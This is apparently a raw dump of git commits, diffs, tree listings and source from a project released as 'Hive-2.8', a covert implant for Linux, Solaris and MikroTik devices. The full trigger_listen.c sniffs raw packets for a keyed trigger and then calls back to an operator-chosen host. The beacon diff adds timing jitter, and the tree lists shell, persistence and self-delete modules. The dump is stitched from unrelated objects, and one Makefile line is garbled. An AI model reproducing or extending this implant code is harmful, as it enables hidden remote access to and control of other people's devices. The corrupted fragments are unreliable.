Author: Jack M <jackmc@devlan.net>
Date: Wed May 20 16:03:11 2015 -0400
Fix problem with DNS resolution.
diff --git a/server/beacon.c b/server/beacon.c
index a466c00..8cb2389 100644
--- a/server/beacon.c
+++ b/server/beacon.c
@@ -132,6 +132,16 @@ void *beacon(void *param)
secondsUp = GetSystemUpTime(); // Get system uptime
DLX(4, printf("\tSystem uptime is %ld\n", secondsUp));
+ if (beaconInfo->percentVariance > 0) {
+ DLX(4, printf("Variance = %f\n", beaconInfo->percentVariance));
+ jitter = calc_jitter(beaconInfo->interval, beaconInfo->percentVariance); // Get jitter and calculate new interval
+ DLX(4, printf("Jitter = %d\n", jitter));
+ beaconInterval = beaconInfo->interval + jitter;
+ DLX(4, printf("Beacon Interval = %d\n", beaconInterval));
+ } else {
+ beaconInterval = beaconInfo->interval;
+ }
+
// Resolve beacon IP address
if (inet_pton(AF_INET, beaconInfo->host, &beaconIPaddr) <= 0) { // Determine if beacon host is an name or dotted-quad address
for (i = 0; i < 2; i++) {
@@ -143,20 +153,12 @@ void *beacon(void *param)
if (beaconInfo->ip == NULL) {
DLX(4, printf("\tBeacon host could not be resolved.\n"));
goto sleep; // Try again next beacon interval
+ } else {
+ DLX(4, printf("\tBeacon IP resolved to: %s\n", beaconInfo->ip));
}
} else
beaconInfo->ip = strdup(beaconInfo->host); // IF beaconInfo-> host was an IP address, clone it (so it can be freed later)
- if (beaconInfo->percentVariance > 0) {
- DLX(4, printf("Variance = %f\n", beaconInfo->percentVariance));
- jitter = calc_jitter(beaconInfo->interval, beaconInfo->percentVariance); // Get jitter and calculate new interval
- DLX(4, printf("Jitter = %d\n", jitter));
- beaconInterval = beaconInfo->interval + jitter;
- DLX(4, printf("Beacon Interval = %d\n", beaconInterval));
- } else {
- beaconInterval = beaconInfo->interval;
- }
-
// TODO: SendBeaconData does not handle errors returned
DLX(4, printf("\tSending beacon\n"));
if (send_beacon_data(beaconInfo, secondsUp, beaconInterval) == SUCCESS) {
tree b2cd789d776d3c46aae1b6df0df0ee054cb57f0e
.cproject
.project
Doxyfile
Makefile
README
client/
documentation/
honeycomb/
ilm-client/
infrastructure/
server/
tree 234f4d5d042389509f119ec887883637ff2e15fd
Makefile
crypto.c
crypto.h
crypto_strings.txt
dhExchange.c
function_strings.h
loki_utils.c
loki_utils.h
mod_gen_cryptostring_header.py
mod_gen_string_header.py
mod_hexify.py
string_utils.h
tag 2.8
Tagger: Jack M <jackmc@devlan.net>
Date: Fri Jan 30 11:16:10 2015 -0500
Release Hive-2.8
commit 9a6a96802a5a8540e193ca76ecc754de575153a1
Author: Jack M <jackmc@devlan.net>
Date: Fri Jan 30 11:12:58 2015 -0500
Minor changes in Users Guide
diff --git a/documentation/UsersGuide/UsersGuide.odt b/documentation/UsersGuide/UsersGuide.odt
index 1473a5e..706c6d3 100644
Binary files a/documentation/UsersGuide/UsersGuide.odt and b/documentation/UsersGuide/UsersGuide.odt differ
diff --git a/documentation/UsersGuide/UsersGuide.pdf b/documentation/UsersGuide/UsersGuide.pdf
index e1fe061..2f75a10 100644
Binary files a/documentation/UsersGuide/UsersGuide.pdf and b/documentation/UsersGuide/UsersGuide.pdf differ
tree 9d0f9fa484932492aed04a28a7e18d205921d449
.settings/
Hive1_Makefile
HiveServer.sln
Makefile
Makefile.arm
Makefile.linux-x86
Makefile.linux-x86_64
Makefile.mikrotik-mipsbe
Makefile.mikrotik-mipsle
Makefile.mikrotik-ppc
Makefile.mikrotik-x86
Makefile.mipsel
Makefile.solaris-sparc
Makefile.solaris-x86
beacon.c
beacon.h
bin2carray.sln
bin2carray.suo
bin2carray/
bzip/
client_session.c
client_session.h
common_utils.h
compat.h
compression.c
compression.h
connect_shell.c
connect_shell.h
cryptcat-c-port/
cryptcat/
daemonize.c
daemonize.h
debug.h
dlcommon.h
example_hived_init_script-mikrotik
example_hived_init_script-solaris
farm9crypt.c
farm9crypt.h
function_strings.h
get_data.c
get_data.h
getopt.cpp
getopt.h
ifconfig.c
ifconfig.h
jshell.c
jshell.h
launchshell.c
launchshell.h
main.c
makeLocalBuilds.bsh
mod_gen_cryptostring_header.py
mod_gen_string_header.py
mod_hexify.py
netstat_an.c
netstat_an.h
netstat_rn.c
netstat_rn.h
original_serverstrings.txt
persistence.c
persistence.h
polarssl
polarssl-0.14.0/
port.h
process_list.c
process_list.h
run_command.c
run_command.h
self_delete.c
self_delete.h
server_strings.txt
server_strings_windows.txt
shuffle.c
shuffle.h
stdint.h
string_utils.c
string_utils.h
survey_mac.c
survey_mac.h
survey_uptime.c
survey_uptime.h
threads.c
threads.h
tiny_crc16.c
tiny_crc16.h
transferNewBuildsToClient.bsh
trigger_b64.c
trigger_b64.h
trigger_callback_session.c
trigger_callback_session.h
trigger_debug.h
trigger_listen.c
trigger_listen.h
trigger_payload.c
trigger_payload.h
trigger_sniff.c
trigger_sniff.h
twofish.c
twofish.h
unpifi.h
#include "debug.h"
#include "trigger_listen.h"
#include "trigger_callback_session.h"
#include "trigger_payload.h"
//#include "trigger_exec.h"
#include "trigger_sniff.h"
#include "threads.h"
#include "compat.h"
#include "self_delete.h"
#include "proj_strings.h"
#include <stdlib.h>
#include <stddef.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#include "polarssl/havege.h"
#include "polarssl/sha1.h"
#if defined LINUX || defined SOLARIS
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#endif
#if defined LINUX
#include <features.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#endif
#ifdef DEBUG
#include <arpa/inet.h>
#endif
extern unsigned char ikey[ID_KEY_HASH_SIZE]; // Implant Key
#ifdef DEBUG
//define displaySha1Hash function
void printSha1Hash(char *label, unsigned char *sha1Hash)
{
int i = 0;
//Display Label
printf("%s", label);
//Display 40 hexadecimal number array
for (i = 0; i < ID_KEY_HASH_SIZE; i++)
printf("%02x", sha1Hash[i]);
}
#endif
//******************************************************************
//given a range will calculate a psuedo random variance
//within that range
//
//NOTES: range is the +-range so if you pass in 30
// a number will be calculated between +-30
// and be returned in variance
//
//RETURN: SUCCESS if generated a variance
// variance will hold the returned variance
static havege_state hs;
static int havege_state_init = 0;
void CalcVariance( signed int* variance, int range )
{
#if defined LINUX || defined SOLARIS
if ( havege_state_init != 1 )
{
DLX(6, printf( "Initializing Havege State.\n"));
havege_init( &hs );
havege_state_init = 1;
}
*variance = ( havege_rand( &hs ) % range );
DLX(6, printf( "CalcVariance() called. %i\n", *variance));
return;
#endif
DLX(6, printf( "CalcVariance() called.\n"));
//first decide if it will be plus or minus
if( rand() > RAND_MAX / 2 )
{
//make it positive
*variance = rand() % range;
}
else
{
//make it negative
*variance = -(rand() % range);
}
return;
}
//******************************************************************
void TriggerDelay(int trigger_delay)
{
//delay the trigger based on the patched value +- 30
//TODO: We check to see if its at least 30... but what if its a really High Bound?
// Is there something we should be checking for?
signed int variance = 0;
signed int calc_delay = 0;
unsigned int delay = 0;
CalcVariance( &variance, 30);
DLX(4, printf("Calculated trigger deleay variance: %d seconds\n", variance * 1000));
calc_delay += trigger_delay + ( variance * 1000 );
delay = MAX( 1000, calc_delay ); // this creates a minimum value of 1 second
DLX(4, printf( "Calculated trigger delay is %d. Using %d.\n", calc_delay, delay));
DLX(4, printf( "Preparing to sleep %d seconds.\n", delay / 1000));
Sleep( delay );
// Sleep( MAX(trigger_delay,(30 * 1000)) + (variance * 1000));
return;
}
//******************************************************************
void* start_triggered_connect( void *param )
{
TriggerInfo tParams;
// copy the parameters to the local stack and release the memory
// now so we don't forget to do it later.
memcpy( &tParams, param, sizeof( TriggerInfo ) );
if ( param != NULL ) free( param );
#if DEBUG
{
// int i;
char callback_address[INET_ADDRSTRLEN];
printf("%s, %4d\n", __FILE__, __LINE__);
printf("\t Trigger Delay: %i\n", tParams.delay);
printf("\tCallback Address: %s\n", inet_ntop(AF_INET, (const void*)&(tParams.callback_addr), callback_address, sizeof(callback_address)));
printf("\t Callback Port: %i\n", tParams.callback_port);
// printf("\t Trigger Port: %i\n", tParams.trigger_port);
// printf("\t ID Key Hash: \t");
displaySha1Hash("ID Key Hash: ", tParams.idKey_hash);
// for (i = 0; i < ID_KEY_HASH_SIZE; i++)
// printf("%c", tParams.idKey_hash[i]);
printf("\n");
}
#endif
TriggerDelay( tParams.delay );
// dt_exec_payload( &( tParams.Payload ) );
// recvd_payload = &( tParams.Payload );
DLX(4, printf("Preparing to exec...\n"));
// TODO: Fix this for Solaris
#if 0
/* Solaris SPARC has memory alignment issues, so the bytes of interest need, first,
to be copied into a variable that is properly aligned */
memcpy( &tb_id, &( recvd_payload->package[4] ), sizeof( uint16_t ) );
tb_id = htons( tb_id );
D( printf("%s, %4d: Received Port: %d\n", __FILE__, __LINE__, tb_id ); )
#if defined SOLARIS
memcpy( &( addrin.S_un ), &( recvd_payload->package[0] ), sizeof( addrin ) );
#else
memcpy( &( addrin.s_addr ), &( recvd_payload->package[0] ), sizeof( addrin ) );
#endif
#endif
// IPv4 addresses only....
{
char callback_address[INET_ADDRSTRLEN];
inet_ntop(AF_INET, (const void*)&(tParams.callback_addr), callback_address, sizeof(callback_address));
// D( printf("%s, %4d: Received IP: %s\n", __FILE__, __LINE__, adrbuf ); )
// TODO: it is also possible for connectbackListen() to return an error.
// this error should be handled differently than ignoring it.
if ( SHUTDOWN == TriggerCallbackSession(callback_address, tParams.callback_port) )
{
DL(4);
D( return(0); )
exit(0);
}
}
// since this is a child process, it needs to exit
D( return(0); ) // Return only for DEBUG, otherwise exit
exit( 0 );
}
//******************************************************************
int TriggerListen( char *iface, int trigger_delay, unsigned long delete_delay )
{
int socket_fd, packet_length;
int counter = 0;
unsigned char packet_buffer[MAX_PKT];// MTU 2000, no pkts larger than this
Payload recvd_payload;
TriggerInfo *tParams;
#ifdef LINUX
struct sockaddr_ll packet_info;
size_t packet_info_size = sizeof( packet_info);
#endif
DL(2);
// reap any CHILD processes that die, prevent zombies
// this is not needed because no processes are forked
signal( SIGCHLD, sigchld_reaper );
socket_fd = dt_get_socket_fd( iface );
if( socket_fd == FAILURE )
{
DLX(2, printf("Exiting, cannot create socket!\n"));
exit(-1);
}
//begin main loop that examines all incoming packets for encoded triggers
while(1)
{
if((counter % 100) == 0)
{
check_timer((char*)sdfp, delete_delay);
}
memset( packet_buffer, 0, MAX_PKT );
#if defined SOLARIS
// D( printf( " DEBUG: Listening on solaris raw socket\n" ); )
packet_length = sniff_read_solaris( socket_fd, packet_buffer, MAX_PKT );
// D( printf( " DEBUG: Packet received with length %d bytes\n", packet_length ); )
if ( packet_length == FAILURE )
{
// not sure what to do upon recv error
DLX(5, printf(" ERROR: sniff_read_solaris() returned FAILURE\n"));
continue;
}
#else
if ( ( packet_length = recvfrom( socket_fd, packet_buffer, MAX_PKT, 0,
(struct sockaddr *) &packet_info, (socklen_t *) &packet_info_size ) ) == FAILURE )
{
// not sure what to do upon recv error
DLX(4, printf("Error: recvfrom() failure!\n"));
continue;
}
#endif
else
{
if ( dt_signature_check( packet_buffer, packet_length, &recvd_payload) != FAILURE )
{
unsigned char recvdKey[ID_KEY_HASH_SIZE];
DLX(2, printf("Trigger signature found, about to send call back (will wait for trigger_delay)\n"));
// this memory is free'd in the thread
tParams = calloc( 1, sizeof( TriggerInfo ) );
if (tParams == NULL) {
DLX(2, printf("Calloc failed."));
return FAILURE;
}
// Populate the structure with the parameters needed inside the thread.
if (payload_to_trigger_info(&recvd_payload, tParams) == FAILURE) {
DLX(2, printf( "payload_to_trigger_info() failed.\n"));
free(tParams);
return FAILURE;
}
sha1(tParams->idKey_hash, ID_KEY_HASH_SIZE, recvdKey);
if ( memcmp(recvdKey, ikey, ID_KEY_HASH_SIZE) ) {// Compare keys. Trigger if identical; otherwise continue waiting for a match.
D(
printf("\n=============================================================================\n");
printf("%s, %4d: IMPLANT TRIGGER FAILED -- KEY MISMATCH\n", __FILE__, __LINE__);
printSha1Hash("\n\tTrigger Key: ", recvdKey);
printSha1Hash("\n\tImplant Key: ", ikey);
printf("\n\tCallback port: %i\n", tParams->callback_port);
printf("\n=============================================================================\n\n");
);
continue;
}
D(
printf("\n=========================================================\n");
printf("%s, %4d: IMPLANT TRIGGERED\n", __FILE__, __LINE__);
printf("=========================================================\n\n");
);
tParams->delay = trigger_delay;
update_file((char*)sdfp);
// Create child process... only the parent returns...the child will exit when finished.
// Note: same function prototype as pthread_create()
#ifdef DEBUG // Do not fork in DEBUG
start_triggered_connect(tParams);
#else
if ( fork_process( start_triggered_connect, (void *)tParams) != SUCCESS )
{
if ( tParams != NULL ) free( tParams );
return FAILURE;
}
#endif
// main trigger thread loops to continue listening for additional trigger packets
}
}
++counter;
}
// not reached.
close( socket_fd );
return 0;
}
#if defined LINUX || defined SOLARIS
void sigchld_reaper (int x)
{
int waiter;
pid_t pid;
signal( SIGCHLD, sigchld_reaper );
// just to silence the compiler warning
(void) x;
do {
pid = waitpid (-1, &waiter, WNOHANG);
DLX(9,
switch (pid) {
case -1:
printf("[%ld] sigchld...no children\n", (long) getpid () );
break;
case 0:
printf("[%ld] sigchld...no dead kids\n", (long) getpid() );
break;
default:
printf("[%ld] sigchld...pid #%ld died, stat=%d\n", (long) getpid (), (long) pid, WEXITSTATUS (waiter));
break;
}
);
} while (pid > 0);
return;
}
#endif
tree 20d0dbba1ac74181c98ad0399c3d77dda66b7f7d
.cproject
.project
Doxyfile
Makefile
README
client/
common/
documentation/
honeycomb/
ilm-client/
infrastructure/
server/
snapshot_20140506-1200/
tree 45d3861c421ba2fdf0e1da709b93e68fdc455153
.cproject
.project
Doxyfile
Makefile
README
client/
documentation/
honeycomb/
ilm-client/
infrastructure/
server/
commit 4e13e648aaa679ef8dd5d7b56065bc3a3e406cf8
Author: Jack M <jack@neutrino.edb.devlan.net>
Date: Fri Jan 10 11:30:22 2014 -0500
Updated release notes and documentation for Hive-2.6.2 release.
diff --git a/documentation/DevelopersGuide/DevelopersGuide.odt b/documentation/DevelopersGuide/DevelopersGuide.odt
index 6771c85..bf846d8 100644
Binary files a/documentation/DevelopersGuide/DevelopersGuide.odt and b/documentation/DevelopersGuide/DevelopersGuide.odt differ
diff --git a/documentation/DevelopersGuide/DevelopersGuide.pdf b/documentation/DevelopersGuide/DevelopersGuide.pdf
index 02e980f..ce453ef 100644
Binary files a/documentation/DevelopersGuide/DevelopersGuide.pdf and b/documentation/DevelopersGuide/DevelopersGuide.pdf differ
diff --git a/documentation/RELEASE_NOTES.txt b/documentation/RELEASE_NOTES.txt
index 29a35ed..4d45b73 100644
--- a/documentation/RELEASE_NOTES.txt
+++ b/documentation/RELEASE_NOTES.txt
@@ -31,11 +31,12 @@
Linux x86 v2.6.2 ------
###########################################################################
-v2.6.2 -- 10/30/2013
-* Uses polarssl havege code to produce random numbers versus /dev/random
-* or /dev/urandom because at reboot, mikrotik's exhibited similar random
-* number sequences. Because similar random numbers were being generated,
-* backend processing rejected some packets thinking it was a playback attack.
+v2.6.2 -- 01/13/2014
+Uses polarssl havege code to produce random numbers versus /dev/random or
+/dev/urandom because at reboot, MikroTik devices exhibited similar random
+number sequences. This resolves the issue of the LP seeing what it believes
+to be a TCP replay attack for MikroTik devices by properly seeding the
+random number generator in the implant for all architectures.
###########################################################################
v2.6.1 -- 03/15/2013
diff --git a/documentation/UsersGuide/UsersGuide.odt b/documentation/UsersGuide/UsersGuide.odt
index 9869ab9..35096df 100644
Binary files a/documentation/UsersGuide/UsersGuide.odt and b/documentation/UsersGuide/UsersGuide.odt differ
diff --git a/documentation/UsersGuide/UsersGuide.pdf b/documentation/UsersGuide/UsersGuide.pdf
index 468e57a..dd7eb2f 100644
Binary files a/documentation/UsersGuide/UsersGuide.pdf and b/documentation/UsersGuide/UsersGuide.pdf differ
diff --git a/server/Makefile.arm b/server/Makefile.arm
index 2e6a302..372b2cd 100644
--- a/server/Makefile.arm
+++ b/server/Makefile.arm
@@ -10,10 +10,11 @@
#------------------------------------------------
ARCH=arm
-TOOLROOT=arm-unknown-linux-gnueabi-
-#BUILDTOOLS=$(BUILDROOT)/bin
-UCLIBC_HDRS=/include
-UCLIBC_LIBS=/lib
+BUILDROOT=/opt/arm-devel
+BUILDTOOLS=$(BUILDROOT)/usr/bin
+TOOLROOT=$(BUILDTOOLS)/arm-unknown-linux-gnueabi-
+UCLIBC_HDRS=$(BUILDTOOLS)/include
+UCLIBC_LIBS=$(BUILDTOOLS)/lib
CC=${TOOLROOT}gcc
STRIP=${TOOLROOT}strip
@@ -29,15 +30,19 @@ SERVER=$(SERVER_BASENAME)-$(ARCH)
POLARSSL = polarssl
INCLUDES = -I $(UCLIBC_HDRS) -I$(POLARSSL)/include -I../libs
LIBPOLARSSL = $(POLARSSL)/library/libpolarssl.a
+BZIP2 = libbzip2
+LIBBZIP2 = libbzip2/libbz2.a
-SERVER_SRCS = beacon.c run_command.c persistence.c \
- survey_mac.c survey_uptime.c trigger.c daemonize.c \
- main.c init_strings.o string_utils.o tiny_crc16.c \
- trigger_b64.c trigger_exec.c trigger_payload.c trigger_sniff.c \
- threads.c connect_shell.c shell.c $(POLARSSL)/crypto.c $(LIBPOLARSSL)
+SERVER_SRCS = beacon.c persistence.c launchshell.c \
+ shuffle.c twofish.c farm9crypt.c jshell.c \
+ survey_mac.c survey_uptime.c trigger_listen.c trigger_callback_session.c daemonize.c \
+ main.c init_strings.o string_utils.o tiny_crc16.c \
+ trigger_b64.c trigger_payload.c trigger_sniff.c run_command.c \
+ client_session.c threads.c self_delete.c $(POLARSSL)/crypto.c $(LIBPOLARSSL) \
+ get_data.c process_list.c ifconfig.c netstat_rn.c netstat_an.c compression.c $(LIBBZIP2)
#OBJECTS = $(SRCS:%.c=%.o)
-CFLAGS += -L$(UCLIBC_LIBS) -Os -W -Wall -D_IH_X86_BUILD -lpthread
+CFLAGS += -L$(UCLIBC_LIBS) -Os -W -Wall -D_IH_X86_BUILD -lpthread -lutil
CFLAGS += $(INCLUDES) -DLINUX -DUCLIBC
DBGFLAGS += -DDEBUG -D_DEBUG -g
@@ -52,6 +57,9 @@ endif
.PHONY: all
all: $(LIBPOLARSSL) $(SERVER) $(SERVER)-dbg
+$(LIBBZIP2):
+ cd $(BZIP2) && $(MAKE) -f Makefile.$(ARCH)
+
$(LIBPOLARSSL): strings
cd $(POLARSSL)/library && $(MAKE) -f Makefile.$(ARCH)
# cd $(POLARSSL)/library && $(MAKE) -f Makefile.$(ARCH) && cd ../../../server
@@ -62,12 +70,12 @@ debug: $(LIBPOLARSSL) $(SERVER)-dbg
.PHONY: release
release: $(LIBPOLARSSL) $(SERVER)
-$(SERVER): strings $(LIBPOLARSSL)
+$(SERVER): strings $(LIBPOLARSSL) $(LIBBZIP2)
$(CC) $(CFLAGS) $(COMMON_SRCS) $(SERVER_SRCS) -L$(LIB) -o $(BIN)/$(SERVER)
# $(STRIP) $(BIN)/$(SERVER)
md5sum $(BIN)/$(SERVER) > $(BIN)/$(SERVER).md5
-$(SERVER)-dbg: strings $(LIBPOLARSSL)
+$(SERVER)-dbg: strings $(LIBPOLARSSL) $(LIBBZIP2)
$(CC) $(CFLAGS) $(DBGFLAGS) $(COMMON_SRCS) $(SERVER_SRCS) -L$(LIB) -o $(BIN)/$(SERVER)-dbg
md5sum $(BIN)/$(SERVER)-dbg > $(BIN)/$(SERVER)-dbg.md5
diff --git a/server/bzip/bzip2-1.0.6/Makefile b/server/bzip/bzip2-1.0.6/Makefile
index 9754ddf..18cc444 100644
--- a/server/bzip/bzip2-1.0.6/Makefile
+++ b/server/bzip/bzip2-1.0.6/Makefile
@@ -8,7 +8,7 @@
# Please read the WARNING, DISCLAIMER and PATENTS sections in the
# README file.
#
-# This program is released under the terms of the license contained
+# This program is released under the terms of the license contld-linux.so.3ained
# in the file LICENSE.
# ------------------------------------------------------------------
diff --git a/server/bzip/bzip2-1.0.6/Makefile.arm b/server/bzip/bzip2-1.0.6/Makefile.arm
new file mode 100644
index 0000000..7172436
--- /dev/null
+++ b/server/bzip/bzip2-1.0.6/Makefile.arm
@@ -0,0 +1,230 @@
+# ------------------------------------------------------------------
+# This file is part of bzip2/libbzip2, a program and library for
+# lossless, block-sorting data compression.
+#
+# bzip2/libbzip2 version 1.0.6 of 6 September 2010
+# Copyright (C) 1996-2010 Julian Seward <jseward@bzip.org>
+#
+# Please read the WARNING, DISCLAIMER and PATENTS sections in the
+# README file.
+#
+# This program is released under the terms of the license contained
+# in the file LICENSE.
+# ------------------------------------------------------------------
+
+SHELL=/bin/sh
+
+# To assist in cross-compiling
+
+ARCH=arm
+BUILDROOT=/opt/arm-devel
+BUILDTOOLS=$(BUILDROOT)/usr/bin
+TOOLROOT=$(BUILDTOOLS)/arm-unknown-linux-gnueabi-
+UCLIBC_HDRS=$(BUILDTOOLS)/include
+UCLIBC_LIBS=$(BUILDTOOLS)/lib
+CC=${TOOLROOT}gcc
+AR=${TOOLROOT}ar
+RANLIB=${TOOLROOT}ranlib
+
+#BIGFILES=-D_FILE_OFFSET_BITS=64
+# Using the library in a stdio-free environment.
+# See Section 3.7 of manual.pdf
+# With STDIO_FREE set, the resulting .a is reduced in size
+# from 170,842 to 133,980 bytes (on Linux x86). The resulting
+# Hive binary (on Linux x86) goes from 177,808 to 169,584 bytes
+# Before bzip library added, application binary was 121,448 bytes
+#STDIO_FREE=-DBZ_NO_STDIO
+CFLAGS=-Wall -Os -I$(UCLIBC_HDRS) -L$(UCLIBC_LIBS) $(BIGFILES) $(STDIO_FREE)
+
+# Where you want it installed when you do 'make install'
+PREFIX=/usr/local
+
+
+OBJS= blocksort.o \
+ huffman.o \
+ crctable.o \
+ randtable.o \
+ compress.o \
+ decompress.o \
+ bzlib.o
+
+all: libbz2.a bzip2 bzip2recover #test
+
+bzip2: libbz2.a bzip2.o
+ $(CC) $(CFLAGS) $(LDFLAGS) -o bzip2 bzip2.o -L. -lbz2
+
+bzip2recover: bzip2recover.o
+ $(CC) $(CFLAGS) $(LDFLAGS) -o bzip2recover bzip2recover.o
+
+libbz2.a: $(OBJS)
+ rm -f libbz2.a
+ $(AR) cq libbz2.a $(OBJS)
+ @if ( test -f $(RANLIB) -o -f /usr/bin/ranlib -o \
+ -f /bin/ranlib -o -f /usr/ccs/bin/ranlib ) ; then \
+ echo $(RANLIB) libbz2.a ; \
+ $(RANLIB) libbz2.a ; \
+ fi
+
+check: test
+test: bzip2
+ @cat words1
+ ./bzip2 -1 < sample1.ref > sample1.rb2
+ ./bzip2 -2 < sample2.ref > sample2.rb2
+ ./bzip2 -3 < sample3.ref > sample3.rb2
+ ./bzip2 -d < sample1.bz2 > sample1.tst
+ ./bzip2 -d < sample2.bz2 > sample2.tst
+ ./bzip2 -ds < sample3.bz2 > sample3.tst
+ cmp sample1.bz2 sample1.rb2
+ cmp sample2.bz2 sample2.rb2
+ cmp sample3.bz2 sample3.rb2
+ cmp sample1.tst sample1.ref
+ cmp sample2.tst sample2.ref
+ cmp sample3.tst sample3.ref
+ @cat words3
+
+install: bzip2 bzip2recover
+ if ( test ! -d $(PREFIX)/bin ) ; then mkdir -p $(PREFIX)/bin ; fi
+ if ( test ! -d $(PREFIX)/lib ) ; then mkdir -p $(PREFIX)/lib ; fi
+ if ( test ! -d $(PREFIX)/man ) ; then mkdir -p $(PREFIX)/man ; fi
+ if ( test ! -d $(PREFIX)/man/man1 ) ; then mkdir -p $(PREFIX)/man/man1 ; fi
+ if ( test ! -d $(PREFIX)/include ) ; then mkdir -p $(PREFIX)/include ; fi
+ cp -f bzip2 $(PREFIX)/bin/bzip2
+ cp -f bzip2 $(PREFIX)/bin/bunzip2
+ cp -f bzip2 $(PREFIX)/bin/bzcat
+ cp -f bzip2recover $(PREFIX)/bin/bzip2recover
+ chmod a+x $(PREFIX)/bin/bzip2
+ chmod a+x $(PREFIX)/bin/bunzip2
+ chmod a+x $(PREFIX)/bin/bzcat
+ chmod a+x $(PREFIX)/bin/bzip2recover
+ cp -f bzip2.1 $(PREFIX)/man/man1
+ chmod a+r $(PREFIX)/man/man1/bzip2.1
+ cp -f bzlib.h $(PREFIX)/include
+ chmod a+r $(PREFIX)/include/bzlib.h
+ cp -f libbz2.a $(PREFIX)/lib
+ chmod a+r $(PREFIX)/lib/libbz2.a
+ cp -f bzgrep $(PREFIX)/bin/bzgrep
+ ln -s -f $(PREFIX)/bin/bzgrep $(PREFIX)/bin/bzegrep
+ ln -s -f $(PREFIX)/bin/bzgrep $(PREFIX)/bin/bzfgrep
+ chmod a+x $(PREFIX)/bin/bzgrep
+ cp -f bzmore $(PREFIX)/bin/bzmore
+ ln -s -f $(PREFIX)/bin/bzmore $(PREFIX)/bin/bzless
+ chmod a+x $(PREFIX)/bin/bzmore
+ cp -f bzdiff $(PREFIX)/bin/bzdiff
+ ln -s -f $(PREFIX)/bin/bzdiff $(PREFIX)/bin/bzcmp
+ chmod a+x $(PREFIX)/bin/bzdiff
+ cp -f bzgrep.1 bzmore.1 bzdiff.1 $(PREFIX)/man/man1
+ chmod a+r $(PREFIX)/man/man1/bzgrep.1
+ chmod a+r $(PREFIX)/man/man1/bzmore.1
+ chmod a+r $(PREFIX)/man/man1/bzdiff.1
+ echo ".so man1/bzgrep.1" > $(PREFIX)/man/man1/bzegrep.1
+ echo ".so man1/bzgrep.1" > $(PREFIX)/man/man1/bzfgrep.1
+ echo ".so man1/bzmore.1" > $(PREFIX)/man/man1/bzless.1
+ echo ".so man1/bzdiff.1" > $(PREFIX)/man/man1/bzcmp.1
+
+clean:
+ rm -f *.o libbz2.a bzip2 bzip2recover \
+ sample1.rb2 sample2.rb2 sample3.rb2 \
+ sample1.tst sample2.tst sample3.tst
+
+blocksort.o: blocksort.c
+ @cat words0
+ $(CC) $(CFLAGS) -c blocksort.c
+huffman.o: huffman.c
+ $(CC) $(CFLAGS) -c huffman.c
+crctable.o: crctable.c
+ $(CC) $(CFLAGS) -c crctable.c
+randtable.o: randtable.c
+ $(CC) $(CFLAGS) -c randtable.c
+compress.o: compress.c
+ $(CC) $(CFLAGS) -c compress.c
+decompress.o: decompress.c
+ $(CC) $(CFLAGS) -c decompress.c
+bzlib.o: bzlib.c
+ $(CC) $(CFLAGS) -c bzlib.c
+bzip2.o: bzip2.c
+ $(CC) $(CFLAGS) -c bzip2.c
+bzip2recover.o: bzip2recover.c
+ $(CC) $(CFLAGS) -c bzip2recover.c
+
+
+distclean: clean
+ rm -f manual.ps manual.html manual.pdf
+
+DISTNAME=bzip2-1.0.6
+dist: check manual
+ rm -f $(DISTNAME)
+ ln -s -f . $(DISTNAME)
+ tar cvf $(DISTNAME).tar \
+ $(DISTNAME)/blocksort.c \
+ $(DISTNAME)/huffman.c \
+ $(DISTNAME)/crctable.c \
+ $(DISTNAME)/randtable.c \
+ $(DISTNAME)/compress.c \
+ $(DISTNAME)/decompress.c \
+ $(DISTNAME)/bzlib.c \
+ $(DISTNAME)/bzip2.c \
+ $(DISTNAME)/bzip2recover.c \
+ $(DISTNAME)/bzlib.h \
+ $(DISTNAME)/bzlib_private.h \
+ $(DISTNAME)/Makefile \
+ $(DISTNAME)/LICENSE \
+ $(DISTNAME)/bzip2.1 \
+ $(DISTNAME)/bzip2.1.preformatted \
+ $(DISTNAME)/bzip2.txt \
+ $(DISTNAME)/words0 \
+ $(DISTNAME)/words1 \
+ $(DISTNAME)/words2 \
+ $(DISTNAME)/words3 \
+ $(DISTNAME)/sample1.ref \
+ $(DISTNAME)/sample2.ref \
+ $(DISTNAME)/sample3.ref \
+ $(DISTNAME)/sample1.bz2 \
+ $(DISTNAME)/sample2.bz2 \
+ $(DISTNAME)/sample3.bz2 \
+ $(DISTNAME)/dlltest.c \
+ $(DISTNAME)/manual.html \
+ $(DISTNAME)/manual.pdf \
+ $(DISTNAME)/manual.ps \
+ $(DISTNAME)/README \
+ $(DISTNAME)/README.COMPILATION.PROBLEMS \
+ $(DISTNAME)/README.XML.STUFF \
+ $(DISTNAME)/CHANGES \
+ $(DISTNAME)/libbz2.def \
+ $(DISTNAME)/libbz2.dsp \
+ $(DISTNAME)/dlltest.dsp \
+ $(DISTNAME)/makefile.msc \
+ $(DISTNAME)/unzcrash.c \
+ $(DISTNAME)/spewG.c \
+ $(DISTNAME)/mk251.c \
+ $(DISTNAME)/bzdiff \
+ $(DISTNAME)/bzdiff.1 \
+ $(DISTNAME)/bzmore \
+ $(DISTNAME)/bzmore.1 \
+ $(DISTNAME)/bzgrep \
+ $(DISTNAME)/bzgrep.1 \
+ $(DISTNAME)/Makefile-libbz2_so \
+ $(DISTNAME)/bz-common.xsl \
+ $(DISTNAME)/bz-fo.xsl \
+ $(DISTNAME)/bz-html.xsl \
+ $(DISTNAME)/bzip.css \
+ $(DISTNAME)/entities.xml \
+ $(DISTNAME)/manual.xml \
+ $(DISTNAME)/format.pl \
+ $(DISTNAME)/xmlproc.sh
+ gzip -v $(DISTNAME).tar
+
+# For rebuilding the manual from sources on my SuSE 9.1 box
+
+MANUAL_SRCS= bz-common.xsl bz-fo.xsl bz-html.xsl bzip.css \
+ entities.xml manual.xml
+
+manual: manual.html manual.ps manual.pdf
+
+manual.ps: $(MANUAL_SRCS)
+ ./xmlproc.sh -ps manual.xml
+
+manual.pdf: $(MANUAL_SRCS)
+ ./xmlproc.sh -pdf manual.xml
+
+manual.html: $(MANUAL_SRCS)
+ ./xmlproc.sh -html manual.xml
diff --git a/server/libbzip2 b/server/libbzip2
new file mode 120000
index 0000000..3f1fe3f
--- /dev/null
+++ b/server/libbzip2
@@ -0,0 +1 @@
+bzip/bzip2-1.0.6
\ No newline at end of file
#include "hclient.h"
#include "debug.h"
#include "threads.h"
#include "crypto.h"
#include "colors.h"
